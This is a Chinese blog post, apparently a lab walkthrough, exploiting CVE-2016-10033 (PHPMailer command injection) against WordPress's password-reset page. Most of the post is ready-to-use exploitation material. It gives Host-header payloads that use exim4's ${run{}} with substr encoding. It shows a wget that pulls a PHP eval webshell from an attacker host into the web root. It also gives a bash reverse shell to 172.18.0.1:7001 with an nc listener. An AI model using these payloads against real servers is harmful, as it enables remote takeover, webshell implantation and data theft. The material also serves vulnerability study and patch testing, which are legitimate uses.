WordPress <= 4.6 命令执行漏洞

漏洞信息

这个锅还是要PHPMailer背(CVE-2016-10033,WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

漏洞编号

CVE-2016-10033 [https://paper.seebug.org/161/](https://paper.seebug.org/161/)

影响版本

WordPress <= 4.7.1 

PHPMailer < 5.2.18

复现环境

https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum

漏洞分析

漏洞出现在管理员的密码重置界面/wp-login.php?action=lostpassword

image.png

在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,这个时候PHPmailer<=5.2.18时存在RCE。

打开/wp-includes/class-phpmailer.php中:

    public $Mailer = 'mail';

    /**

     * The path to the sendmail program.

     * @var string

     */

    public $Sendmail = '/usr/sbin/sendmail';

由代码可以看出PHPmailer调用的是/usr/sbin/semdmail来发送邮件的。
发送邮件的命令格式为:sendmail -t -i -fusername@hostname

/**

     * Get the server hostname.

     * Returns 'localhost.localdomain' if unknown.

     * @access protected

     * @return string

     */

    protected function serverHostname()

    {

        $result = 'localhost.localdomain';

        if (!empty($this->Hostname)) {

            $result = $this->Hostname;

        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {

            $result = $_SERVER['SERVER_NAME'];

        } elseif (function_exists('gethostname') && gethostname() !== false) {

            $result = gethostname();

        } elseif (php_uname('n') !== false) {

            $result = php_uname('n');

        }

        return $result;

    }

serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。

sendmail 提供了-O-X参数。 -OQueueDirectory=/tmp/ -X/tmp/aaa.php它会将发送的邮件保存到/tmp/aaa.php中。

因此我们可以构造以下payload:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1

Host: aaa( -X/tmp/aaa.php )@qq.com

这里Host字段值中@符号前用了一个”( )”,这样可以直接在括号中使用空格,具体大家可以看P神博客的两篇文章。

https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html

https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html

但是由于WordPress以及PHPMailer都会防止攻击者注入空字符。并且host字段值中出现’/'会出现请求错误。

可以看到在ubuntu中已经使用exim4替代了sendmail的功能。

root@990b6f7e34bb:/var/www/html/wp-includes# which sendmail

/usr/sbin/sendmail

root@990b6f7e34bb:/var/www/html/wp-includes# file /usr/sbin/sendmail

/usr/sbin/sendmail: symbolic link to `exim4'

在exim4中有一个-be参数可以读取一些变量的数据:

root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$tod_log'

2018-08-23 10:22:21

root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'

/var/spool/exim4

exim4还支持一些函数用来执行一些命令:

root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'

/var/spool/exim4

root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${substr{0}{1}{$spool_directory}}'

/

从第一个字符开始截取,然后截取长度为1,刚好可以把’/’截取出来

因此我们可以将:

空格  —> ${substr{10}{1}{$tod_log}}

/     —> ${substr{0}{1}{$spool_directory}}

$run还可以调用系统命令:

root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${run{/usr/bin/id}}'

uid=0(root) gid=105(Debian-exim) groups=0(root)

比如我们此时想执行在/tmp下创建一个test.php

aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.php}} null)

==>

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.php}} null)

此时在重置密码处输入用户名admin,然后使用BurpSuite抓包拦截,修改host的值:

image.png

/tmp下文件创建成功。

root@990b6f7e34bb:/tmp# ls -al

total 8

drwxrwxrwt 1 root     root     4096 Aug 23 10:46 .

drwxr-xr-x 1 root     root     4096 Aug 23 08:48 ..

-rw—---- 1 www-data www-data    0 Aug 23 10:44 test.php

实际利用的过程中还需要注意一下几点:

1、执行的命令不能包含大量特殊字符比如 :、引号等等。

2、命令会被转换为小写字母

3、命令需要使用绝对路径

4、需要知道一个存在的用户名,比如admin.

实战利用

一、写webshell

场景描述:

攻击机器IP: 172.18.0.1

目标靶机IP: 172.18.0.3

攻击机器开启web服务,172.18.0.1/zk/one.txt内容如下:

<?php @eval($_POST['zksmile'])?>

利用步骤:

1、发送payload使目标靶机下载one.txt,并保存到web根目录下/var/www/html/shell.php

2、使用菜刀链接shell.php

1、下载one.txt

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 172.18.0.1/zk/one.txt}} null)

==>

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}one.txt}} null)
image.png

2、使用菜刀链接:

image.png

二、反弹shell

场景描述:

攻击机器IP: 172.18.0.1

目标靶机IP: 172.18.0.3

攻击机器开启web服务,172.18.0.1/zk/shell.txt内容如下:

bash -i >& /dev/tcp/172.18.0.1/7001 0>&1

利用步骤:

1、发送payload使靶机下载shell.txt,并保存到/tmp/shell

2、在攻击机器上使用nc监听7001端口

3、发送payload使靶机运行shell

注意:远程 URL 中不能有 http://,并且所有字母必须小写。

1、下载远程服务器上的脚本文件payload:

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 172.18.0.1/zk/shell.txt}} null)

==>

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}shell.txt}} null)
image.png

2、在172.18.0.1上执行 nc -lvp 7001开启监听:

image.png

3、发送payload使靶机运行shel:

aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)

==>

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
image.png

Reference

https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum

https://www.cnblogs.com/ssooking/p/8893264.html

https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html

https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html

https://paper.seebug.org/161/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容